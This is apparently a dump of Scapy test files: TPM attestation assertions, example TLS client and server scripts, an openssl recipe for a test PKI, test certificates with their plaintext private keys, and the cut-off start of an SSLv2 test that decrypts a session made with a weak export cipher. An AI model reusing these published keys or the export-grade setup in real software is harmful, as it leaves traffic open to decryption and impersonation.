keyAttestation.keyBlob.public.publicArea.parameters.symmetric.sprintf("%algorithm%") == 'TPM_ALG_NULL' assert keyAttestation.keyBlob.public.publicArea.parameters.scheme.sprintf("%scheme%") == 'TPM_ALG_NULL' assert [x.buffer for x in keyAttestation.keyBlob.policyDigestList.digests] == [ b'\x8f\xcd!i\xab\x92iN\x0cc?\x1a\xb7r\x84+\x82A\xbb\xc2\x02\x88\x98\x1f\xc7\xac\x1e\xdd\xc1\xfd\xdb\x0e', b'\xe5)\xf5\xd6\x11(r\x95N\x8e\xd6`Q\x17\xb7W\xe27\xc6\xe1\x95\x13\xa9I\xfe\xe1\xf2\x04\xc4X\x02:', b'\xaf,\xa5ii\x9cCj!\x00o\x1c\xb8\xa2ul\x98\xbc\x1cvZ5Y\xc5\xfe\x1c?^r(\xa7\xe7', b'\xc4\x13\xa8G\xb1\x11\x12\xb1\xcb\xdd\xd4\xec\xa4\xda\xaa\x15\xa1\x85,\x1c;\xbaWF\x1d%v\x05\xf3\xd5\xafS', b'', b'\x04\x8e\x9a:\xce\x08X?y\xf3D\xffx[\xbe\xa9\xf0z\xc7\xfa3%\xb3\xd4\x9a!\xddQ\x94\xc6XP', ] aikOpaque = cmc_enrollment.kas.aikOpaque assert isinstance(aikOpaque, PCP_20_KEY_BLOB) assert aikOpaque.public.publicArea.unique.buffer == b'\xc6\x1c\x7f\xc4KC\xc2 \x9b;a/\x888\x84\x0e4w5\xb4\x01\'\xb8/\x1c\xc2\xe9\xc3;v\x8dUb4\x8c\xde\xd09\xd9\x1dSPC\xaa\xcb\xcc[N6Z\xedK\\\xa8\xe3\x94h:\x04(|\xc1\x08\x15\x12]Z\xf7\xc6,\x94\x9c\xe1\x145e\xee\x8c\x89/\xd0\xea>\x91\xc1\xb4\x1cl\xc5\xaa\x9c\xca)\t\xbb\nhv\xdb3\xf3\xbe\xdcLYj\xc8g.VN\xdc\xbd\x95\xfc\x05"\xc7\xc7\xf2{w\x1b\x18\xba\xf6\xa4\x93\x00V?\x87 \xa5U\x96\x807\xa5\xa5\x0b\x11O\x7f\x1br\x96H\x1e1\xf7z\xcc\xd7\x1e\x132SD\xc1F\x9d|Ud9]\xa3[\xff6\xa9\xc0\xa7\x9e]\xf4\xdc=1\xe7\xa9i\xc9\xcaI\xd9\x80\x84\xa3\xe7f\x0f\n\xb2\xe9o\x13\x12Vg}\x85\xbd\x14^<\xe6\x10WQ3\x0e\xcci\x99(\xc60\x87\xa4+\xbdw\x03RD\xef\x87/[\x9f\x04C}\xf2\x18]\x8f\xb4x\x04\xb2\xe6\xd8h\xf9\xad\xef\x88?\xea\x88\x07\xecu' assert [x.buffer for x in aikOpaque.policyDigestList.digests] == [ b'\x8f\xcd!i\xab\x92iN\x0cc?\x1a\xb7r\x84+\x82A\xbb\xc2\x02\x88\x98\x1f\xc7\xac\x1e\xdd\xc1\xfd\xdb\x0e', b'\xe5)\xf5\xd6\x11(r\x95N\x8e\xd6`Q\x17\xb7W\xe27\xc6\xe1\x95\x13\xa9I\xfe\xe1\xf2\x04\xc4X\x02:', b'\xaf,\xa5ii\x9cCj!\x00o\x1c\xb8\xa2ul\x98\xbc\x1cvZ5Y\xc5\xfe\x1c?^r(\xa7\xe7', b'\xc4\x13\xa8G\xb1\x11\x12\xb1\xcb\xdd\xd4\xec\xa4\xda\xaa\x15\xa1\x85,\x1c;\xbaWF\x1d%v\x05\xf3\xd5\xafS', b'', b'\x04\x8e\x9a:\xce\x08X?y\xf3D\xffx[\xbe\xa9\xf0z\xc7\xfa3%\xb3\xd4\x9a!\xddQ\x94\xc6XP', ] ================================================ FILE: test/scapy/layers/tls/example_client.py ================================================ #!/usr/bin/env python # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Basic TLS client. A ciphersuite may be commanded via a first argument. Default protocol version is TLS 1.3. """ import os import socket import sys from argparse import ArgumentParser from scapy.config import conf from scapy.utils import inet_aton from scapy.layers.tls.automaton_cli import TLSClientAutomaton from scapy.layers.tls.basefields import _tls_version_options from scapy.layers.tls.keyexchange import _tls_hash_sig from scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello from scapy.tools.UTscapy import scapy_path psk = None parser = ArgumentParser(description='Simple TLS Client') parser.add_argument("--psk", help="External PSK for symmetric authentication (for TLS 1.3)") # noqa: E501 parser.add_argument("--no_pfs", action="store_true", help="Disable (EC)DHE exchange with PFS") parser.add_argument("--ciphersuite", help="Ciphersuite preference") parser.add_argument("--version", help="TLS Version", default="tls13") parser.add_argument("--ticket_in", dest='session_ticket_file_in', help="File to read a ticket from (for TLS 1.3)") parser.add_argument("--ticket_out", dest='session_ticket_file_out', help="File to write a ticket to (for TLS 1.3)") parser.add_argument("--res_master", help="Resumption master secret (for TLS 1.3)") parser.add_argument("--sni", help="Server Name Indication") parser.add_argument("--curve", help="ECC group to advertise") parser.add_argument("--sig-algs", help="Signature algorithms to advertise (coma separated)") parser.add_argument("--debug", action="store_const", const=5, default=0, help="Enter debug mode") parser.add_argument("server", nargs="?", default="127.0.0.1", help="The server to connect to") parser.add_argument("port", nargs="?", type=int, default=4433, help="The TCP destination port") args = parser.parse_args() # By default, PFS is set if args.no_pfs: psk_mode = "psk_ke" else: psk_mode = "psk_dhe_ke" v = _tls_version_options.get(args.version, None) if not v: sys.exit("Unrecognized TLS version option.") try: socket.getaddrinfo(args.server, args.port) except socket.error as ex: sys.exit("Could not resolve host server: %s" % ex) if args.ciphersuite: ciphers = int(args.ciphersuite, 16) if ciphers not in list(range(0x1301, 0x1306)): ch = TLSClientHello(ciphers=ciphers) else: ch = TLS13ClientHello(ciphers=ciphers) else: ch = None server_name = args.sni # If server name is unknown, try server if not server_name and args.server: try: inet_aton(args.server) except socket.error: server_name = args.server supported_signature_algorithms = None if args.sig_algs: supported_signature_algorithms = args.sig_algs.split(",") for sigalg in supported_signature_algorithms: if sigalg not in _tls_hash_sig.values(): sys.exit("Unrecognized signature algorithm: %s" % sigalg) t = TLSClientAutomaton(server=args.server, dport=args.port, server_name=server_name, client_hello=ch, version=args.version, mycert=scapy_path("/test/scapy/layers/tls/pki/cli_cert.pem"), mykey=scapy_path("/test/scapy/layers/tls/pki/cli_key.pem"), psk=args.psk, psk_mode=psk_mode, resumption_master_secret=args.res_master, session_ticket_file_in=args.session_ticket_file_in, session_ticket_file_out=args.session_ticket_file_out, supported_signature_algorithms=supported_signature_algorithms, curve=args.curve, debug=args.debug) t.run() ================================================ FILE: test/scapy/layers/tls/example_server.py ================================================ #!/usr/bin/env python # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Basic TLS server. A preferred ciphersuite may be provided as first argument. For instance, "sudo ./server_simple.py c014" will start a server accepting any TLS client connection. If provided, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA will be preferred to any other suite the client might propose. """ import os import sys from argparse import ArgumentParser from scapy.config import conf from scapy.layers.tls.automaton_srv import TLSServerAutomaton from scapy.tools.UTscapy import scapy_path parser = ArgumentParser(description='Simple TLS Server') parser.add_argument("--cert", default=scapy_path('/test/scapy/layers/tls/pki/srv_cert.pem'), help="Cert file.") parser.add_argument("--key", default=scapy_path('/test/scapy/layers/tls/pki/srv_key.pem'), help="Key file.") parser.add_argument("--psk", help="External PSK for symmetric authentication (for TLS 1.3)") # noqa: E501 parser.add_argument("--no_pfs", action="store_true", help="Disable (EC)DHE exchange with PFS") parser.add_argument("--pcs", help="Preferred Cipher Suite (ex: 0x1301 = TLS_AES_128_GCM_SHA256)") parser.add_argument("--psa", help="Preferred Signature Algorithm (ex: sha256+rsaepss)") # args.curve must be a value in the dict _tls_named_curves (see tls/crypto/groups.py) parser.add_argument("--curve", help="ECC curve to advertise (ex: secp256r1...") parser.add_argument("--cookie", action="store_true", help="Send cookie extension in HelloRetryRequest message") parser.add_argument("--client_auth", action="store_true", help="Require client authentication") parser.add_argument("--handle_session_ticket", action="store_true", help="Use session tickets. Auto enabled if file provided (for TLS 1.3)") # noqa: E501 parser.add_argument("--ticket_file", dest='session_ticket_file', help="File to write/read a ticket to (for TLS 1.3)") parser.add_argument("--debug", action="store_const", const=5, default=0, help="Enter debug mode") args = parser.parse_args() # PFS is set by default... if args.no_pfs and args.psk: psk_mode = "psk_ke" else: psk_mode = "psk_dhe_ke" t = TLSServerAutomaton(mycert=args.cert, mykey=args.key, preferred_ciphersuite=args.pcs, preferred_signature_algorithm=args.psa, client_auth=args.client_auth, curve=args.curve, cookie=args.cookie, handle_session_ticket=args.handle_session_ticket, session_ticket_file=args.session_ticket_file, psk=args.psk, psk_mode=psk_mode, debug=args.debug) t.run() ================================================ FILE: test/scapy/layers/tls/pki/README.md ================================================ # Notes on how to generate the PKI ``` openssl genpkey -algorithm ED25519 -out srv_key_ed25519.pem openssl req -new -key srv_key_ed25519.pem -out srv_cert_ed25519.csr -addext basicConstraints=critical,CA:FALSE,pathlen:1 -addext "extendedKeyUsage = serverAuth" -subj "/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Server" openssl x509 -req -days 3653 -in srv_cert_ed25519.csr -CA ca_cert.pem -CAkey ca_key.pem -out srv_cert_ed25519.pem -copy_extensions copyall rm srv_cert_ed25519.csr openssl x509 -in srv_cert_ed25519.pem -text -noout ``` ================================================ FILE: test/scapy/layers/tls/pki/ca_cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDiDCCAnCgAwIBAgIJALpa+1bjqpmeMA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyNjQ1WhcN MjYwOTE2MTAyNjQ1WjBUMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRYwFAYDVQQDDA1TY2FweSBUZXN0 IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Gy5LahBQAwiGUrP ZLrBUIEZAlnsOkCd7Al+wJwaPFhMLy+nga0ubMuUBo4P9DQv729jpiRnu6Q1ScO3 PcRX5FNdEKxV9fLOWUJp5MIMz5k6snJ5+kEMouNXj/umUN+qHHyvgbDVEw7RroTN mLqnWs2Al5Rd0NAxp4lLoYdVUclXrlOGY7Ldkq4WAgdlJZQ6PiZyeoz6YNeoRNmR h4RGKDmzoSEKqsAUlozEg3seC1EbU0TtY9r3O09tEGegQUARIxXV3qpWjFxakax+ XzzldwuoIWMO7x8RqH9X3Y+ktcLOxiPhKmGqcR3kNyMcARatdIjdV0b3jAeH68of DVxXoQIDAQABo10wWzAdBgNVHQ4EFgQUZlOU9BXRvWdosFE3MjXhpKreB3wwHwYD VR0jBBgwFoAUZlOU9BXRvWdosFE3MjXhpKreB3wwDAYDVR0TBAUwAwEB/zALBgNV HQ8EBAMCAgQwDQYJKoZIhvcNAQELBQADggEBAJNnhilPvSXjGFSUNp5XG81i44lI wqsYcWl7cuNjFS8tqciMb1Q8Lr768+CPFYlf3OjwX43SCe621oKtRZV0O3bizSZd 5xuCAEsCe1jkk4d7Nxk13/AB2z6YKvWeud/vLAQpYIwzV/qExAOv+ZLAj46t6S/E h/A/kNEXqBE5e+yysTUVNz+moI7P8Sw91yXuiPMSWJ4rla+nmfFWaKTP9vjEmEHt a+LA8VUiR2dEeLcRnVCgVJc0+AS6EjG662AKyNYP4AcmUaFvBKRiJpEgZwNmmOen PjNAbNxzEk7bJMG8GUmwYJ9cYznBFBOzAJNyMkG8wSmMYN3NgdnD4KYHYVE= -----END CERTIFICATE----- ================================================ FILE: test/scapy/layers/tls/pki/ca_key.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQbLktqEFADCIZ Ss9kusFQgRkCWew6QJ3sCX7AnBo8WEwvL6eBrS5sy5QGjg/0NC/vb2OmJGe7pDVJ w7c9xFfkU10QrFX18s5ZQmnkwgzPmTqycnn6QQyi41eP+6ZQ36ocfK+BsNUTDtGu hM2YuqdazYCXlF3Q0DGniUuhh1VRyVeuU4Zjst2SrhYCB2UllDo+JnJ6jPpg16hE 2ZGHhEYoObOhIQqqwBSWjMSDex4LURtTRO1j2vc7T20QZ6BBQBEjFdXeqlaMXFqR rH5fPOV3C6ghYw7vHxGof1fdj6S1ws7GI+EqYapxHeQ3IxwBFq10iN1XRveMB4fr yh8NXFehAgMBAAECggEAXSPpEO0604tYhaL30VTf5MD8Ux+qQFH2ALAxk5Nu6f6v dPq/yWSB9Z54NQGxQXk83qwRhQKJ1MHKCn/K2HBwsplKYpQRCgsKibrzJYZOQUuB fpNHzTzaj8Q2siJMLaH2HCrgJ33FinG55Fp2okTvWtWxHIvx7MnNFsh1IuceiqA3 5tVSR7+kMraJgJ9auRNRQbH273LzntVOzAt339Xd38izsQ7CvYERAQGabTwo6BEC nDFfhWXPaxRt5JcJWcJNYSxYKigMmDh4oGXSb+mZeuojcXYcaHzyAToAjZ6x2hXU Vjxo7JMK+gvhJvlOpY2tjMNIkRh1P7gLrBSP8XcxjQKBgQDtSIr8qooaswEQ9H8W Tkr5ciLU4u6Wfhp26+M6oHPv57bbJI7qN68Z3l+cbtLxSqj0bcop1V+xvQjWOD+/ ckNPm4aEmoIMP3a0oQARtJeR9uaos64uudc+1gpz9g7w+sO+khy9yAFdY1+9gsEi WqqbtVQ2e3RABoolr14Pcc222wKBgQDg3XAjcXupfsrDhQP5R45kY/eVFWUk7PMB jpPl6+ZfoB/vqUuCZBX3UYrFDe4O+n0R6oF9ACXLRsVuaG/IZYDFczsBvEr8WpOG 78lpTbgUwudKlnzSBl01aUZu7zpJ3oFhX1DgZspr72UfHl9+/NwezV4gFd0ZKGLO s/aLsh3eMwKBgDm3TH9a6A7IfbjnD8aYMqpsNca8kDYw5DUK+ZF4F9tB7HtvcAfO lZvgODdvyYWBmIkj72mvigBMr8qTkgX6QB8sAFNe1cUu5qvXAZJM8BVEDiT416Rr 9cxF+fLs5gN9q4E+Pxl2fcZ+dno9RMcbcKZBPAOokcVFEfNKrcFp+BTDAoGBAL42 0ztILgFs/fxysq/V9f+6CJ8WIB8iSVXR1A40hQXzH9DN9s/v9hzl32tdozkMb2wO YUbqLw5LaYtB0P1Fz643EX0gWJYr0IvenxPy6Hq3fIu9zQyk0Yfy69+/giEmlW9W /8UzbpvrQDEYslNrdpCfzLV7iTJU1XBhD3eQTm+9AoGAf1EX07Jk7357Y7+l/vB4 Cd0g+k4yRadDM7tCrdYnZcdwhFoKtCC9y/ChBgHRkayMizJRYC218ou9muP3qYLD Wd+Sqtxg7LlDRa+m8db0SI40a0AMb0fGKXzy4AxD1EJrBLt8rdaDrqoGF/Vwadjh sxUMjCPGDmiV+ucqbJR9/NE= -----END PRIVATE KEY----- ================================================ FILE: test/scapy/layers/tls/pki/cli_cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n4MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAzMDUyWhcN MjYwOTE1MTAzMDUyWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IENsaWVudDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMJN5ioDSgj OufUeWJI7Ali5QPySoD8neeSXkzGlm48SGDNzoKQs0v75gmlOs/mditKsPfu9HQA Ohd97oor8HQLhEMqF6OpiGyjOo7i3+/X8bPhJJsn6pYmJ5PH8HjduHuGFGt9Or2t wpQCd1t5ZN3KSZpnEk9K3HS3GJHHsO69UvuIWsksjjetAtD7HpvdeMGrMRmTEgI3 EFVUigfP1y8uaoq648TPG31MFx8cpxfKhNtstmRPZNpyl2NpzoZQFXskbMO8pVYc QxTwA6/AgDBYoaYRdV4hq5MSfcGloy5OIsR/8toamJ0EjbypulnC0+F78goP/Puw isuHi2YYJxUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFAPVvKSOtt3Hj63JN8ZtzEGSZZ5IMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB AQAhzb8LBydZ+ulSyIiF4/PgTh7/sQOC1LroP0GhVsOLNZ07qvw8teXJO9HwsAqm 14GeLJh5XWhoL4tkq9RMcwuZL2vuVl9FB9inLerA1FU/ErJJOIIC3drIORTTQ2ot lUkbKOAQFzZfP0d+iuCFi0r0Kcu7BAZETTeG4cAoIoIIhh2AZ8DfT3E6xP7OKUMA 3m1gA4M1hwiAhFvj4iBaG20Sb0RXpDuTToHEfCEnuQdoex3F8gmn88yt22FNakqe cr9ooif+id4ErdKLozgG1i0PFYCFRj2/fUPTQw3BSgfo+XNcAjA04CowuhPAjsL8 ybC+9OE5YPSxfOqOPB4sK/w2 -----END CERTIFICATE----- ================================================ FILE: test/scapy/layers/tls/pki/cli_key.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDCTeYqA0oIzrn 1HliSOwJYuUD8kqA/J3nkl5MxpZuPEhgzc6CkLNL++YJpTrP5nYrSrD37vR0ADoX fe6KK/B0C4RDKhejqYhsozqO4t/v1/Gz4SSbJ+qWJieTx/B43bh7hhRrfTq9rcKU AndbeWTdykmaZxJPStx0txiRx7DuvVL7iFrJLI43rQLQ+x6b3XjBqzEZkxICNxBV VIoHz9cvLmqKuuPEzxt9TBcfHKcXyoTbbLZkT2Tacpdjac6GUBV7JGzDvKVWHEMU 8AOvwIAwWKGmEXVeIauTEn3BpaMuTiLEf/LaGpidBI28qbpZwtPhe/IKD/z7sIrL h4tmGCcVAgMBAAECggEBAJU951ocNj0hgEDH+L55uIySLVawv8wmAhqiiSBM0e22 mVfiBIUqftjE/8kfs3pFCuWjuPlv04U0az9wsOjwKIZUDbhrbD1jTC59VSDjgKKC ZsTTonRLvhl5Rs2xsFR8rV9wQQ3jfOCKJxulK3pG0SVaVqoc9wjP6xQwy086NCzq QLnM2BESEED9cfbO7zVE7bJzLmAH9v4eF5hpuQ3SQZGE6oib0uPPnAyl5iOZZHnu 4DTxVHYIYKCegL47VpeL3h80Yzu8bAuqoSsLxbBcAoYB9e9ZMVi8o1NaVM9eT0/m HSb+rkN39YrrtXDkXxqmwsh8B7R9gRBxMFIzsI83XN0CgYEA+KSoQ3zpEjjFioB+ 006JcATCslLERgDuuaVqVlnt5a983i/3nwvICxfsGrFaQJ4TkhXEYuZro4Zovdc1 9IAj8DEQRNh7H7mZoWtQnFC32VOdAUVZVpopL6009xKs/II9pRKg4Vm6mpb47xfl Yk/upy5yV4gHThkMLccJ8PqmIosCgYEAyM6Da1vflkzoKMu7HmJNmi59hnk5N15V C8BcYNaodiHucrcyzOexaVnIQJ7+CgVen+RF9wwcIQxUsw8Vcs0AZ4ipLDOFZXNk k0oGjr5oeCIHJvA9W1BSXmcJ5Beo4ASr0GmIQpfsFohFuHXn7ezQWqA6Me8HwFGF l8goN3VyMN8CgYBJ5u7YOE0yDEuykeSgO6yf7dpMlEsgH3DVHvRPPCV4akNr6sfn ruHDYlXbzTDtGc7pUazwVFpT3UROgKPZyyhjYMHcJJfb4xdlofbwrxEl+DMnSIx4 MBPjxtCCSzu9RZy67qGAuWG8RvkwX2LfaLCfYi+8EoNRVCKJjKpIxMcSZwKBgC9E xZTJDKmxstiflI2DcGcB2JSGBpzs/LIGdvhor0EXnaytSS0IwS9ebhAgHQa42txi fMG5vQlegLWhsFfUv+qfNcts2VLXRe6R91c0pRzaTbqxxI+xKaKFOMPTefI5x0QJ A4VBg9aN/3N7dbwBCc67dtd4P+faiMsA186uO9IbAoGAVvh9bC5zoCfenexRe9si c/baEsOlPjMnM/QKz6Ue/65YTzpJYQ1hVlGqP2DsN28f5yJetHLcUINaPxlegKdL Ifhmdg5HO7v35NHVghXq+/M8xYRzKD6nqRqB8wEdGb+XOo5QHXsLp3wBQ7QXL4UI mrJFWi1wtyQOdIO4GJC8Bc0= -----END PRIVATE KEY----- ================================================ FILE: test/scapy/layers/tls/pki/srv_cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu 8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI 11nk6boqTrUVD5zQ6gaR2d6r -----END CERTIFICATE----- ================================================ FILE: test/scapy/layers/tls/pki/srv_cert_ed25519.pem ================================================ -----BEGIN CERTIFICATE----- MIICqDCCAZCgAwIBAgIUYYDvh160/Q32Q/MuCGSfIYxTwwEwDQYJKoZIhvcNAQEL BQAwVDELMAkGA1UEBhMCTU4xFDASBgNVBAcMC1VsYWFuYmFhdGFyMRcwFQYDVQQL DA5TY2FweSBUZXN0IFBLSTEWMBQGA1UEAwwNU2NhcHkgVGVzdCBDQTAeFw0yNDA3 MTQxOTU4MzNaFw0zNDA3MTUxOTU4MzNaMFgxCzAJBgNVBAYTAk1OMRQwEgYDVQQH DAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVzdCBQS0kxGjAYBgNVBAMM EVNjYXB5IFRlc3QgU2VydmVyMCowBQYDK2VwAyEAB8exZcGWUFeio0aPES732u5l GXRUuaktLmSIQB8PoPejaDBmMA8GA1UdEwEB/wQFMAMCAQEwEwYDVR0lBAwwCgYI KwYBBQUHAwEwHQYDVR0OBBYEFJOzQR0udLrz7IiLP3q+FehLxijkMB8GA1UdIwQY MBaAFGZTlPQV0b1naLBRNzI14aSq3gd8MA0GCSqGSIb3DQEBCwUAA4IBAQCRk6TP XKfSy2fwodsYe1bedhL9mlm9xDDOu6ILkDZtCpbOwrjeSf+U7VQYvdlI8QCeQyEK ZE/S3S5UzOjEv7fQpyqfG9aJJbH7OQwG25ShiX86Kt/RAkgtjyCmKevhT6uSs5fa BsdYWnS9WHWH5ZkWkjZt1K2xYJP4Lqg9VpHy/YNz4b5swXEWf+MdayVSgzPxoviG zXnsTrxiTcGvelGFm/lYc42u6cSqrHoLtfniyaGNvPwrfBsiY/cypN4GZLNgEk80 /tcAg2TeUGNbMbT4Rko1OMLxMT9zRzgJyjd/XyW/5fCE/Xm0q7VYo1EF1ScywU1B XwZH9DJ6Ud0s8/j+ -----END CERTIFICATE----- ================================================ FILE: test/scapy/layers/tls/pki/srv_key.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz +j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n +CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/ 8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg 916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q +An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/ aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52 83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk 1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth 9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU u13D93hAM6bzH6Ds5FPUQw== -----END PRIVATE KEY----- ================================================ FILE: test/scapy/layers/tls/pki/srv_key_ed25519.pem ================================================ -----BEGIN PRIVATE KEY----- MC4CAQAwBQYDK2VwBCIEIGu36oadjA6raCmwtImfAWI/DSCENM/uQCsUaClVoUTZ -----END PRIVATE KEY----- ================================================ FILE: test/scapy/layers/tls/sslv2.uts ================================================ % Tests for TLS module # # Try me with : # bash test/run_tests -t test/tls.uts -F ~ crypto ############################################################################### ################# Reading SSLv2 vulnerable test session ####################### ############################################################################### # These packets come from a session between an s_server and an s_client. # We assume the server's private key has been retrieved. Because the cipher # suite does not provide PFS, we are able to break the data confidentiality. # With openssl version being 0.9.8v, these are exactly the commands used: # openssl s_server -cert test/tls/pki/srv_cert.pem -key test/tls/pki/srv_key.pem -Verify 2 -cipher EXP-RC4-MD5 # openssl s_client -ssl2 -cert test/tls/pki/cli_cert.pem -key test/tls/pki/cli_key.pem + Read a vulnerable SSLv2 session = Reading SSLv2 session - Loading unparsed SSLv2 records ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x1a\xfb/\x9c\xa3\xd1)4T\xa3\x15(!\xff\xd1\x0c' sh = 